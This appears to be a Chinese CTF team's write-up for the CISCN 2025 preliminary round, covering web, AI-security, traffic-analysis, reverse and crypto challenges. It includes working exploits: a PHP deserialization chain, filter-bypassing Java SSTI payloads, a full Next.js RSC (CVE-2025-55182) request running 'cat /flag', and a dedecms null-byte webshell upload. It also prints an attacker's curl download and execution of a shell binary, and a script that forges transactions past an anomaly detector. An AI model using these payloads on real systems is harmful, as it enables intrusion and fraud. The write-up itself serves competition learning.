2025CISCN国赛暨长城杯初赛 CloudEver wp

文章目录

战队信息

战队名称:CloudEver

排名:第74名

总分:1388

题解

AI安全

The Silent Heist

采用方案是不去猜模型参数,而是尽量让伪造样本落在训练数据流形内部

需要真实样本中随机取两条 ,做凸组合,加极小高斯噪声(按各维标准差缩放)避免重复,用训练集的分位数区间(1%~99%)裁剪,防止飘出边界,再用本地训练的 IsolationForest 过滤掉可能异常的候选。累加金额直到总和超过 2,000,000

python 复制代码
import math
from pathlib import Path
import numpy as np
import pandas as pd
from sklearn.ensemble import IsolationForest

def _detect_columns(df: pd.DataFrame) -> list[str]:
    cols = list(df.columns)
    if all(c.startswith("f") and c[1:].isdigit() for c in cols):
        cols_sorted = sorted(cols, key=lambda c: int(c[1:]))
        return cols_sorted
    if all(c.startswith("feat_") and c.split("feat_")[-1].isdigit() for c in cols):
        cols_sorted = sorted(cols, key=lambda c: int(c.split("feat_")[-1]))
        return cols_sorted
    return cols

def _mahalanobis_sq(x: np.ndarray, mu: np.ndarray, inv_cov: np.ndarray) -> float:
    d = x - mu
    return float(d @ inv_cov @ d)

def main() -> int:
    class args:
        input = "public_ledger.csv"
        outfile = "payload.csv"
        target_sum = 2_000_000.0
        rows = 0
        seed = 1337
        max_tries = 5_000_000

    in_path = Path(args.input)
    if not in_path.exists():
        raise FileNotFoundError(in_path)

    df = pd.read_csv(in_path)
    cols = _detect_columns(df)
    df = df[cols]

    X = df.to_numpy(dtype=np.float64)

    rng = np.random.default_rng(args.seed)
    iforest = IsolationForest(
        n_estimators=400,
        max_samples="auto",
        contamination="auto",
        random_state=42,
        n_jobs=-1,
    )
    iforest.fit(X)
    mu = X.mean(axis=0)
    cov = np.cov(X, rowvar=False)
    cov = cov + np.eye(cov.shape[0]) * 1e-6
    inv_cov = np.linalg.inv(cov)
    d_train = np.array([_mahalanobis_sq(x, mu, inv_cov) for x in X], dtype=np.float64)
    d_thresh = float(np.quantile(d_train, 0.85))
    p_lo = np.quantile(X, 0.01, axis=0)
    p_hi = np.quantile(X, 0.99, axis=0)
    mean_amount = float(X[:, 0].mean())
    if args.rows and args.rows > 0:
        n_target = args.rows
    else:
        n_target = int(math.ceil(args.target_sum / max(mean_amount, 1e-9) * 1.08))
    def key6(vec: np.ndarray) -> tuple[float, ...]:
        return tuple(np.round(vec, 6).tolist())
    seen6 = set(key6(row) for row in X)
    std = X.std(axis=0)
    noise_scale = 0.02
    forged: list[np.ndarray] = []
    total_amount = 0.0
    tries = 0
    while len(forged) < n_target and tries < args.max_tries:
        tries += 1
        i = int(rng.integers(0, X.shape[0]))
        j = int(rng.integers(0, X.shape[0]))
        if i == j:
            continue
        a = float(rng.uniform(0.25, 0.75))
        cand = a * X[i] + (1.0 - a) * X[j]
        noise = rng.normal(0.0, std * noise_scale)
        cand = cand + noise
        cand = np.clip(cand, p_lo, p_hi)
        k6 = key6(cand)
        if k6 in seen6:
            continue
        if _mahalanobis_sq(cand, mu, inv_cov) > d_thresh:
            continue
        if int(iforest.predict(cand.reshape(1, -1))[0]) != 1:
            continue
        seen6.add(k6)
        forged.append(cand)
        total_amount += float(cand[0])
        if total_amount >= args.target_sum:
            break
    if total_amount < args.target_sum:
        raise RuntimeError(
            f"Failed"
        )
    out_cols = cols
    out_df = pd.DataFrame(np.vstack(forged), columns=out_cols)

    out_path = Path(args.outfile)
    out_df.to_csv(out_path, index=False, float_format="%.6f")
    with out_path.open("a", encoding="utf-8", newline="\n") as f:
        f.write("EOF\n")

    print("ok")
    return 0


if __name__ == "__main__":
    main()

得到类似这样的csv

复制代码
feat_0,feat_1,feat_2,feat_3,feat_4,feat_5,feat_6,feat_7,feat_8,feat_9,feat_10,feat_11,feat_12,feat_13,feat_14,feat_15,feat_16,feat_17,feat_18,feat_19
308.485857743731,22.126953420071,91.913554290017,81.230027364820,43.481064359107,2.136584631823,11.566235695075,49.041563731114,10.639883281460,27.604991544884,38.063238678408,82.505684908151,5.562986057381,80.212196195485,72.950290077330,17.327446783484,28.383302883077,40.833072559546,9.513137029208,27.727190917077

提交即可拿到flag

Web安全

hellogate

通过图片读取源码

php 复制代码
<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

看到反序列化洞,可以任意读取文件

链条是:A->triggerMethod() 被调用,A 触发 echo,导致 A->handle (即 B 对象) 调用 __toString()B::__toString() 访问 B->worker (即 C 对象) 的不存在属性 resultC 触发 __get()C::__get() 执行 file_get_contents(C->cmd),读取我们指定的文件

写一份exp

php 复制代码
<?php
class A {
    public $handle;
}

class B {
    public $worker;
    public $cmd;
}

class C {
    public $cmd;
}
$c = new C();
$c->cmd = '/flag';
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
echo urlencode(serialize($a));
?>

运行得到结果

复制代码
O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D

然后发包,读取图片内容作为回显即可得到flag

dedecms

弱口令Aa123456789登陆进/dede后台,查看到php版本为5.2.4,该版本存在文件上传截断问题

上传文件名称为a.php{hex(00)}jpg,内容为木马,然后在目录/uploads/allimg/找到对应文件即可getshell

EzJava

弱密码admin/admin123登陆

功能存在java的ssti,简单测试发现过滤了T,new,flag等关键字,进行相应绕过

找到 File.listRoots() 这个静态无参方法来列根目录

java 复制代码
[[${''.getClass().forName('java.u'+'til.Ar'+'rays').getMethod('toString', ''.getClass().forName('[Ljava.lang.Ob'+'ject;')).invoke(null, ''.getClass().forName('java.i'+'o.Fi'+'le').getMethod('listRoots').invoke(null)[0].list())}]]

读取目录,得到flag名称

URI.create -> Paths.get -> Files.readAllLines 静态链读取flag

java 复制代码
[[${''.getClass().forName('java.n'+'io.fi'+'le.Files').getMethod('readAllLines', ''.getClass().forName('java.n'+'io.fi'+'le.Path')).invoke(null, ''.getClass().forName('java.n'+'io.fi'+'le.Paths').getMethod('get', ''.getClass().forName('java.n'+'et.URI')).invoke(null, ''.getClass().forName('java.n'+'et.URI').getMethod('create', ''.getClass()).invoke(null, 'file:///fl'+'ag_y0u_d0nt_kn0w')))}]]

redjs

明显是最新的CVE-2025-55182,直接公开POC即可读取flag

复制代码
POST /apps HTTP/2
Host: eci-2ze7kb7ylndz1kykw8m1.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: 91dmljym
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: hst51Myl5trXfvWsC9Ay6
Content-Length: 696

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

流量分析

SnakeBackdoor-1

环境里没 tshark/scapy,就用 Python 直接读 pcap,按 pcap 头格式切包,再手写以太网/IPv4/TCP 解析,拿到每个包的五元组和 tcp_payload。

先在所有 TCP payload 里搜 POST/GET/HTTP/login/password 之类的关键字,很快定位到 192.168.1.200:5000 的 Web 流量(Werkzeug/Flask)。继续筛到 POST /admin/login,发现同一来源 192.168.1.111 连续提交很多次,明显在跑爆破。

对每个 POST /admin/login,用 \r\n\r\n 分开头部和正文,正文是表单:username=...&password=...,把 password 取出来做列表。然后把每次请求往后匹配同一连接的 HTTP 响应,重组一下 server->client 的 TCP 段读取状态行。

失败基本是 200 OK,页面里带"用户名或密码错误",并且 session 清空;成功的是 302 FOUND,Location 跳到 /admin/panel,还下发有效 session。只有两次是 302,对应的请求体都是 password=zxcvbnm123

提交:flag{zxcvbnm123}

SnakeBackdoor-2

还是先用 Python 手搓解析 pcap,拿到每个包的 TCP payload。目标端口很明显是 192.168.1.200:5000(Flask/Werkzeug)。

我没直接去猜配置文件泄露,而是先全流量里搜敏感关键词:SECRET_KEY / secret_key / itsdangerous / config.py 这些。命中不多,里面有一条是服务器回给客户端的 HTML(src=192.168.1.200:5000 -> dst=192.168.1.111:55359),包号大概在 28822。

把这个包的完整 payload 拿出来(1460 字节),在里面搜索 SECRET_KEY,能看到一段类似调试输出的配置字典:

复制代码
'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

因为页面里有 ' 这种 HTML 实体,我做了一次 unescape,再用正则把值扣出来,最后得到的 SECRET_KEY 就是:

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

先还是盯 192.168.1.111 -> 192.168.1.200:5000 的 HTTP。把发往 5000 的 TCP payload 扫一遍,重点看有没有 {``{{% 这种模板符号,很快就抓到两条 POST /admin/preview,其中一条 Content-Length 特别大(4602),明显是注入。

把这条连接按 seq 简单重组,拿到完整请求体。里面是用 url_for.__globals__[...]exec(...) 执行一段 Python,核心就是 base64.b64decode('...')

接下来就是把它一层层还原:先取出最外层 base64 字符串解码,得到的内容里又定义了一个 lambda,模式基本固定:把某个很长的 bytes 字符串先反转,再 base64 解码,再 zlib 解压,然后 exec。后面重复了很多层,直接写个循环:只要还能匹配到 exec((_)(b'...')) 这种结构,就把里面的 bytes 抠出来继续"反转->b64->zlib"。

跑到最后一层,终于出来一段明文 python 后门源码,里面直接写了密钥:

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

所以这题要的 Key 就是这个字符串。

提交:flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

流量里能看到多次 POST /admin/*,都带同一个头:X-Token-Auth: 3011aa21232beb7504432bfa90d32779,POST 体是 data=<hex>

data 是 RC4 加密的命令:RC4_SECRET = v1p3r_5tr1k3_k3y(第二题得到)

data 先 hex 解码,再用 RC4 解密,能还原出执行链:

  1. curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  2. unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip(解压密码也在这里)
  3. mv /tmp/shell /tmp/python3.13
  4. chmod +x /tmp/python3.13
  5. /tmp/python3.13(执行)

结论:被执行的后门二进制文件名是 python3.13

flag{python3.13}

SnakeBackdoor-5

通过分析 attack.pcap,发现攻击者(IP: 192.168.1.111)针对目标主机(IP: 192.168.1.200,运行 Flask 应用)发起了多次扫描和攻击。

攻击者利用漏洞使目标主机从恶意文件服务器(192.168.1.201:8080)下载了 shell.zip。压缩包被加密。通过分析 HTTP 流量或尝试常用弱口令,确定密码为 nf2jd092jd01。受感染主机(192.168.1.200)与 C2 服务器(192.168.1.201:58782)建立了 TCP 连接。通信内容被加密,且前 4 个字节固定为种子值。

从 shell.zip 中提取出名为 shell 的 ELF 文件,并进行静态分析。

密钥生成算法

逆向分析显示,恶意软件通过以下步骤生成加密密钥:

  1. 种子获取: 从 C2 服务器接收 4 字节数据(大端序),转换为整数作为随机数种子。
  2. 随机数生成: 调用 srand(seed) 初始化随机数生成器。
  3. 密钥构造: 连续调用 4 次 rand(),将生成的 4 个整数按小端序拼接成 16 字节的 AES 密钥。

从 attack.pcap 的 TCP 流中提取出 C2 服务器发送的种子数据:

  • Seed Bytes: 34 95 20 46
  • Seed Value: 0x34952046 (十进制: 882188358)

使用 Python 的 ctypes 库模拟 glibc 的 rand() 生成密钥:

python 复制代码
import ctypes
import struct

libc = ctypes.CDLL("libc.so.6")

# 设置种子
seed = 0x34952046
libc.srand(seed)

# 生成 4 个随机数
r1 = libc.rand()
r2 = libc.rand()
r3 = libc.rand()
r4 = libc.rand()

# 拼接密钥 (小端序)
key = struct.pack("<IIII", r1, r2, r3, r4)
print(f"Key: {key.hex()}")

计算结果:

  • r1: 1643857580 (0x61fb46ac)
  • r2: 1329279243 (0x4f3b310b)
  • r3: 761592882 (0x2d64fc32)
  • r4: 1454650504 (0x56b43488)
  • Key Hex: ac46fb610b313b4f32fc642d8834b456

使用生成的密钥尝试解密后续的加密流量(AES-ECB 模式),成功解密并还原出通信内容,证实密钥正确。

flag{ac46fb610b313b4f32fc642d8834b456}

SnakeBackdoor-6

通过分析 HTTP 流量(端口 5000),发现攻击者(IP: 192.168.1.111)对目标 Flask 服务器(IP: 192.168.1.200)实施了 SSTI(服务器端模板注入)攻击。

攻击者通过 /admin/preview 接口发送了恶意的 SSTI payload,其中包含了经过 base64 编码和 zlib 压缩的 Python 代码。注入的代码在服务器上植入了一个基于 Flask 的后门,该后门通过 X-Token-Auth 头进行验证,并使用 RC4 算法加密通信(密钥: v1p3r_5tr1k3_k3y)。

通过解密 RC4 后门流量,发现攻击者进一步执行命令下载了一个名为 shell.zip 的文件:

  • 命令: curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  • 解压: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
  • 执行: ./shell

我们从 PCAP 中提取了 shell.zip,并使用嗅探到的密码 nf2jd092jd01 成功解压出 shell 二进制文件。

逆向 shell ELF 文件发现,它实现了一个自定义的加密通信协议:

  1. 种子交换: 客户端连接 C2 服务器(192.168.1.201:58782),服务器首先发送 4 字节种子(大端序)。
  2. 密钥派生: 客户端接收种子后,将其转换为小端序整数,作为 srand() 的种子。随后调用 4 次 glibc 的 rand() 函数生成 4 个 32 位整数。
  3. 密钥构造: 这 4 个整数按小端序拼接成 16 字节的 SM4 密钥。

虽然二进制文件使用了 SM4 算法结构(包括标准的 FK 和 CK 常量),但它使用了 自定义的 S-Box。此外,它在 S-Box 替换步骤中使用了反转的字节顺序。我们从二进制文件中提取了自定义 S-Box,并实现了一个兼容的解密器。

从 C2 流量(端口 59814 <-> 58782)中提取出服务器发送的种子 0x34952046。

使用 Python ctypes 调用 glibc 生成密钥:

python 复制代码
import ctypes, struct
libc = ctypes.CDLL("libc.so.6")
seed = 0x46209534 
libc.srand(seed)
key = b''.join(struct.pack("<I", libc.rand() & 0xffffffff) for _ in range(4))
# Key: ac46fb610b313b4f32fc642d8834b456

解密 C2 通信

使用提取的密钥和自定义 SM4 算法解密流量。发现攻击者执行了 cat /flag 命令,但为了混淆,使用了 tr 命令替换字符:

命令: cat /flag | tr '1' 'l' | tr '0' 'O'

解密输出: flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}

将混淆字符还原(l -> 1, O -> 0),得到最终 Flag

Flag: flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

逆向工程

babyhame

通过观察文件体积并使用 strings 或 binwalk 分析,发现文件中包含 GDPC 和 Godot 字符串,确认这是一个基于 Godot 引擎 开发的游戏。

Godot 游戏的资源通常打包在 .pck 文件中。对于单文件发布的游戏(如本题),.pck 数据通常被附加在 .exe 文件的末尾。

通过分析文件末尾数据或使用工具(如 Godot RE Tools / gdsdecomp),定位到嵌入的 PCK 数据段并提取出游戏脚本(.gd 或编译后的 .gdc)

重点关注以下脚本文件:

  1. game_manager.gd(游戏逻辑控制)
  2. Flag.gd 或相关的验证脚本(负责处理输入验证)

密钥生成逻辑

在 game_manager 脚本中,发现了一个硬编码的初始密钥变量:

javascript 复制代码
var encryption_key = "FanAglFanAglOoO!"

游戏中存在收集金币的机制(Coin 到 Coin9,共9枚)。分析金币收集的回调函数发现关键逻辑:

当玩家收集完所有金币后,触发密钥变更逻辑,将初始密钥中的字符 'A' 替换为 'B'

最终密钥计算:

复制代码
初始 Key: FanAglFanAglOoO!
变换操作: replace('A', 'B')
最终 Key: FanBglFanBglOoO!

在 Flag 验证脚本中,分析出验证算法如下:

加密模式: AES-ECB (AESContext.MODE_ECB_ENCRYPT)

输入处理: 获取用户输入的字符串,转换为 UTF-8 字节。

加密过程: 使用 最终 Key 对输入进行 AES 加密。

比对目标: 加密结果转为十六进制字符串(Hex String)后,与硬编码的密文进行比对。

硬编码的密文 (Hex):

复制代码
d458af702a680ae4d089ce32fc39945d

既然知道了算法(AES-ECB)、密钥(最终 Key)和密文,我们可以直接编写脚本进行逆向解密,无需真正运行游戏去吃金币。

Python 解密脚本

python 复制代码
from Crypto.Cipher import AES
import binascii

ciphertext_hex = "d458af702a680ae4d089ce32fc39945d"
ciphertext = binascii.unhexlify(ciphertext_hex)

# 原始 Key,逻辑: 收集完金币后 'A' 变为 'B'
key_str = "FanBglFanBglOoO!"
key = key_str.encode('utf-8')

#  AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
try:
    decrypted_bytes = cipher.decrypt(ciphertext)
    print(f"Decrypted Hex: {decrypted_bytes.hex()}")
    print(f"Decrypted String (Flag): {decrypted_bytes.decode('utf-8')}")
except Exception as e:
    print(f"Error: {e}")

运行解密脚本得到明文:wOW~youAregrEaT!

flag{ wOW~youAregrEaT!}

wasm-login

任务: 恢复一个与登录成功相关的 13 位毫秒级时间戳。

已知条件:登录时间大概在 2025年12月的第三个周末 之后,也就是 周一 (12月22日) 凌晨。登录认证数据的 MD5 校验值 前 16 位为 ccaf33e3512e31f3。使用的用户名和密码为默认的 admin / admin。认证算法逻辑在 WebAssembly (WASM) 文件 release.wasm 中。

通过分析 release.wasm 及其对应的 Source Map (release.wasm.map),我还原了 authenticate 函数的生成逻辑:

最终生成的认证数据是一个 JSON 字符串,格式如下:

json 复制代码
{"username":"admin","password":"<EncodedPassword>","signature":"<Signature>"}

其中:

  • Username: admin
  • Password: 经过 自定义 Base64 编码后的字符串。
  • Signature: 使用 时间戳 作为密钥,对 {"username":"admin","password":"..."} 进行 自定义 HMAC-SHA256 签名,再经过 自定义 Base64 编码。
  1. 自定义 Base64 表:
    标准 Base64 表被替换为:
    NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO密码 admin 编码后为 L0In602=。
  2. 自定义 HMAC-SHA256:
    标准的 HMAC 算法使用异或常量 0x36 (ipad) 和 0x5C (opad)。而本题的实现中修改了这些常量:ipad XOR 常量: 0x76opad XOR 常量: 0x3COuter Hash 顺序: 先输入 innerHash 再输入 opad(与标准 HMAC 相反)。
  3. 最终校验 (Check):
    对生成的 AuthData JSON 字符串计算标准 MD5 哈希。我们的目标是找到一个时间戳,使得该 MD5 哈希以 ccaf33e3512e31f3 开头。

题目提示时间为 2025年12月第三个周末(12月20-21日)后的周一凌晨

  • 目标日期: 2025年12月22日 (周一)
  • 时间窗口: 考虑北京时间 (UTC+8) 凌晨 00:00 到 06:00
  • 时间戳范围: 约 1766332800000 到 1766354400000 (UTC 12月21日 16:00 - 22:00)

高性能爆破脚本 (C语言)

由于搜索空间较大(约 2100 万个毫秒级时间戳),使用 C 语言结合 OpenSSL 库进行优化爆破。

核心代码逻辑:

c 复制代码
int main(int argc, char **argv) {
    const unsigned char target_prefix[8] = {0xcc,0xaf,0x33,0xe3,0x51,0x2e,0x31,0xf3};
    
    const char json_prefix[] = "{\"username\":\"admin\",\"password\":\"L0In602=\",\"signature\":\"";
    const char json_suffix[] = "\"}";

    for (int64_t ts = start_ms; ts <= end_ms; ++ts) {
        char ts_str[32];
        sprintf(ts_str, "%lld", ts);
        unsigned char sigBytes[32];
        custom_hmac_sha256(ts_str, msg_str, sigBytes);

        //  自定义 Base64 编码
        char signature_b64[45];
        custom_b64_encode(sigBytes, signature_b64);

        // 拼接 JSON 并计算 MD5
        MD5_CTX ctx;
        MD5_Init(&ctx);
        MD5_Update(&ctx, json_prefix, strlen(json_prefix));
        MD5_Update(&ctx, signature_b64, 44);
        MD5_Update(&ctx, json_suffix, strlen(json_suffix));
        MD5_Final(md5_digest, &ctx);

        if (memcmp(md5_digest, target_prefix, 8) == 0) {
            printf("FOUND ts=%lld\n", ts);
            return 0;
        }
    }
    return 0;
}

在设定的时间范围内运行爆破程序,迅速找到了匹配的时间戳:

  • 匹配时间戳: 1766334550699
  • 对应时间: 2025-12-22 00:29:10 (UTC+8)
  • 完整 MD5: ccaf33e3512e31f32463a566675005c5

题目要求的 Flag 即为该时间戳生成的完整 MD5 校验值(包裹在 flag{} 中)。

flag{ccaf33e3512e31f32463a566675005c5}

Eternum

分析 tcp.pcap 流量与 kworker 二进制文件

tcp.pcap: 包含客户端(kworker)与服务器(192.168.8.160:13337)通信的加密流量。kworker: 客户端程序,是一个经过 UPX 压缩的 64 位 ELF 可执行文件(Go 语言编写)。

通过手动解析 tcp.pcap,发现客户端(192.168.8.178)与服务器(192.168.8.160)建立了 TCP 连接并传输了若干消息。

每个消息都以固定的魔术字节开头:

  • Magic: ET3RNUMX (8 bytes)
  • Length: Big-endian uint32 (4 bytes)
  • Payload: Length 字节的负载数据

消息负载的结构符合 AES-GCM 加密模式:

  • Nonce: 前 12 字节
  • Ciphertext: 中间部分
  • Tag: 后 16 字节

由于 kworker 被 UPX 加壳,我采用了一种动态提取的方法:

  1. 运行 kworker 并在其解压自身后立即挂起(使用 SIGSTOP)。
  2. 通过 /proc/<pid>/mem 读取其内存映射中的代码段(.text)和只读数据段(.rodata)。
  3. 重构出一个未压缩的 ELF 文件以供静态分析。

在解压后的内存中,并未直接找到明显的密钥字符串。通过暴力枚举和分析,最终在二进制文件的 .data 段(读写数据段)中发现了一个 32 字节的硬编码密钥。

AES-GCM Key (Hex):

复制代码
7866714763566a724f57703574554743504651713434386e50446a494c546537

(ASCII: xfqGcVjrOWp5tUGCPFQq448nPDjILTe7)

使用提取出的密钥和从流量中获取的 Nonce/Tag,成功解密了所有消息。解密后的明文是 Protobuf 序列化数据。

Protobuf 消息分析:

通过提取并解析内嵌的 Eternum/etop.proto 描述符,确定了消息结构:

CommandRequest: 服务器发送命令(如 ls, base32)。

CommandResponse: 客户端返回命令执行结果。

在解密后的第 7 条客户端消息(C msg 7)中,发现了一个 Base32 编码的字符串,这是对服务器命令 base32 /var/opt/s*/ 的响应。

加密负载 (Base32):

复制代码
MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===

对上述 Base32 字符串进行解码:

python 复制代码
import base64
b32 = "MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU==="
flag = base64.b32decode(b32).decode()
print(flag)

flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

vvvmmm

运行后输出一段 Elden Ring 的台词+ASCII 图,然后读 48 字节:

复制代码
input %48c>

输入不对就 Try again~,对了就:

复制代码
Good.
flag{...}

strings 直接能看到 UPX 特征:

复制代码
file vvvmmm
strings -a vvvmmm | head

会看到诸如 UPX!UPX0/UPX1 一类的痕迹。

直接脱壳

复制代码
upx -d vvvmmm -o unpacked

定位 Unicorn/RISC-V 的关键调用点

在 dump 出来的 x86_64 代码段里(raw binary)用 objdump 直接反汇编并搜 0x296(662):

复制代码
objdump -D -b binary -m i386:x86-64 --adjust-vma=0x401000 memfd_upx_dump.bin | grep "\$0x296"

能看到类似片段(核心点):

  • uc_open
  • uc_mem_map(0, 0x1000...)
  • uc_mem_write(0, <riscv_blob>, 0x296)
  • uc_mem_write(0x10000000, input, 0x30)
  • uc_mem_write(0x10001000, key, 0x20)
  • uc_emu_start(begin=0, until=0x296, timeout=0x1e8480, count=0)
  • uc_reg_read(A0)(RISC-V 返回值)

同时能追到两个很关键的指针(在 x86_64 里是 r14/r15):

  • RISC-V blob 地址:0x64c3f0,长度 0x296
  • key 字符串地址:0x64c6c0,长度 0x20

key 的内容是:

复制代码
e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ

把 RISC-V blob 拿出来并反汇编

从数据段 dump 里按偏移切出 blob:

  • 数据段映射基址:0x64c000
  • blob:0x64c3f0 → 偏移 0x3f0
  • key:0x64c6c0 → 偏移 0x6c0

反汇编 RISC-V raw blob(LLVM 工具链很好用):

复制代码
llvm-objcopy -I binary -O elf64-littleriscv --binary-architecture=riscv64 riscv_blob.bin riscv_blob.elf
llvm-objdump -D --triple=riscv64 --mattr=+c,+m,+a riscv_blob.elf

RISC-V 代码分两段:

A) 生成 12 个 32-bit 掩码,XOR 输入得到 12 个 word(共 48 字节)

  • 输入地址:0x10000000
  • 它把输入当成 12 个 little-endian 的 uint32:in[0..11]
  • 用一个 PRNG(看起来很花,但本质就是在模 0x13579bdf 下不断乘/取模)生成掩码:
    • 每轮生成一对 (mask_even, mask_odd)
    • 共 6 轮 → 12 个 mask
  • 得到中间值 W[i] = in[i] XOR mask[i]

PRNG 的初始种子来自 key 的 64-bit hash:

复制代码
h = 1
h = (31*h + key[i]) mod 2^64
seed_a4 = h
seed_a2 = (h >> 16)   (逻辑右移)

B) 把 12 个 W[i] 跟 12 个常量对比

后半段就是:

  • t = W[i] XOR CONST[i]
  • seqz 检查是否为 0
  • 统计 12 项是否全对
  • 全对则返回 a0 = 1,否则 a0 = 0

因此目标非常清晰:

W[i] == CONST[i],则必过。

于是可以反推输入:

复制代码
in[i] = CONST[i] XOR mask[i]

直接反推得到输入

12 个 CONST(从 RISC-V 的 lui/addi/xor 直接读出来)为:

复制代码
W0  = 0x45034f63
W1  = 0x534762d2
W2  = 0x44b36d04
W3  = 0x44c3ed6a
W4  = 0x79bb60b0
W5  = 0x42a1e767
W6  = 0x3edb7e6c
W7  = 0x30e1551d
W8  = 0x4d3abaa4
W9  = 0x6aa29948
W10 = 0x51ce8847
W11 = 0x51623faf

用正确的 64-bit hash 种子跑 PRNG 6 轮,反推出来的48 字节输入是可打印字符串:

复制代码
fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX

复现脚本:

python 复制代码
#!/usr/bin/env python3
import struct

KEY = b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ"
MOD = 0x13579bdf

def u32(x): return x & 0xffffffff
def u64(x): return x & 0xffffffffffffffff

def remuw(rs1, rs2):
    a = u32(rs1); b = u32(rs2)
    return u32(a % b)

def remu(rs1, rs2):
    a = u64(rs1); b = u64(rs2)
    return a % b

def mul(rs1, rs2):
    return u64(u64(rs1) * u64(rs2))

def mulhu(rs1, rs2):
    return (u64(rs1) * u64(rs2)) >> 64

def hash64(key: bytes) -> int:
    h = 1
    for b in key:
        h = u64(31*h + b)
    return h

def prng_step(a2, a4):
    # 复刻 RISC-V 里 0x74..0x184 那段(只保留数值计算)
    a3 = MOD
    a5 = MOD
    s0 = s1 = s2 = s3 = s4 = t0 = t1 = t2 = t3 = t4 = t5 = t6 = MOD

    a2 = remuw(a2, a3)
    a3 = remuw(a4, MOD)
    a4 = remuw(a2, MOD)
    a5 = remuw(a3, MOD)

    A2s = u64(a2 << 32)
    A4s = u64(a4 << 32)
    a4 = remu(mulhu(A4s, A2s), MOD)

    A3s = u64(a3 << 32)
    A5s = u64(a5 << 32)
    a5 = remu(mulhu(A5s, A3s), MOD)

    a2 = u64(A2s >> 32)
    a3 = u64(A3s >> 32)

    a4 = remu(mul(a4, a2), MOD)
    a5 = remu(mul(a5, a3), MOD)

    # 后面很多次 mul/remu,模数都等于 MOD
    for _ in range(8):
        a4 = remu(mul(a4, a2), MOD)
        a5 = remu(mul(a5, a3), MOD)

    a2 = remu(mul(a4, a2), MOD)
    a4 = remu(mul(a5, a3), MOD)
    return u32(a2), u32(a4)

def main():
    h = hash64(KEY)
    a4 = h
    a2 = (h >> 16)

    # 目标 12 个 word(从 RISC-V 后半段 xor 常量反推)
    W = [
        0x45034f63, 0x534762d2, 0x44b36d04, 0x44c3ed6a,
        0x79bb60b0, 0x42a1e767, 0x3edb7e6c, 0x30e1551d,
        0x4d3abaa4, 0x6aa29948, 0x51ce8847, 0x51623faf,
    ]

    masks = []
    for _ in range(6):
        a2, a4 = prng_step(a2, a4)
        masks.append((a2, a4))

    inp_words = []
    for k, (me, mo) in enumerate(masks):
        inp_words.append(u32(W[2*k] ^ me))
        inp_words.append(u32(W[2*k+1] ^ mo))

    payload = b"".join(struct.pack("<I", w) for w in inp_words)
    s = payload.decode("ascii")
    print("input =", s)
    print("flag{"+s+"}")

if __name__ == "__main__":
    main()

所以最终 flag: flag{fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX}

密码学

EzFlag

通过 strings 命令分析二进制文件,发现了关键字符串:

  • 提示信息: Enter password:
  • 硬编码密码: V3ryStr0ngp@ssw0rd
  • Flag 前缀: flag{
  • 常量字符串 (K): 012ab9c3478d56ef (用于生成 Flag 字符的映射表)

通过 objdump 反汇编 main 函数和辅助函数 f,梳理出程序逻辑:

  1. 密码验证: 程序读取用户输入并与 V3ryStr0ngp@ssw0rd 比较。如果匹配,进入 Flag 生成流程。
  2. 种子初始化: 初始种子 seed 设为 1。
  3. 循环生成字符:循环 32 次。每次调用函数 f(seed) 获取一个字符。更新种子:seed = (seed * 8) + (i + 0x40)。在索引 7, 12, 17, 22 处插入连字符 -。
  4. 函数 f(n):计算斐波那契数列的第 n 项模 16 的值 (F_n % 16)。使用该值作为索引,从字符串 K ("012ab9c3478d56ef") 中查找对应的字符并返回。

